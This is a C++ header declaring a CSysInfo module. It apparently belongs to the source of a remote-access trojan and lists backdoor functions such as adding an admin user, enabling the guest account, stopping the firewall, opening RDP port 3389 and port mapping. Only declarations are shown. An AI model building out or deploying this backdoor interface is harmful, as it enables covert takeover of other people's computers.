2024-06-23 17:36:53 +08:00

56 lines
1.7 KiB
C++

// SysInfo.h: interface for the CSysInfo class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_)
#define AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "../Manager.h"
#include "ZXPortMap.h"
class CSysInfo : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
DWORD ChangePort(LPVOID lparam);
DWORD StopFire();
void AddAdminUser();
void DeleteUser();
BOOL OpenGuest();
void ChangeUserPass();
BOOL DelUserName(char *user);
BOOL DelSidName(char *sid);
void Close3389();
DWORD Open3389(LPVOID lparam);
CZXPortMap cPortMap;
DWORD nCtrlPort, nPort;
TCHAR m_strCurrentProcessFileNames[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void GetFileData();
void GetOpenFile();
static DWORD WINAPI PortMap(LPVOID lparam);
void SendSysInfo();
// void SendInstallInfo();
LPBYTE getWtsmList();
LPBYTE getSList();
void SendWtsmList();
void SendSList();
char* GetTSClientName(DWORD sessionID);
char* GetTSClientProtocolType(DWORD sessionID);
void GetSystemInfo(tagSystemInfo1* pSysInfo);
// void GetOnlineInfo(tagOnlineInfo1* pInsInfo);
void WtsLoGoff(LPBYTE lpBuffer, UINT nSize);
void WtsDisc(LPBYTE lpBuffer, UINT nSize);
void SendNetstart(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //帐户启用 停止
CSysInfo(CClientSocket *pClient);
virtual ~CSysInfo();
};
#endif // !defined(AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_)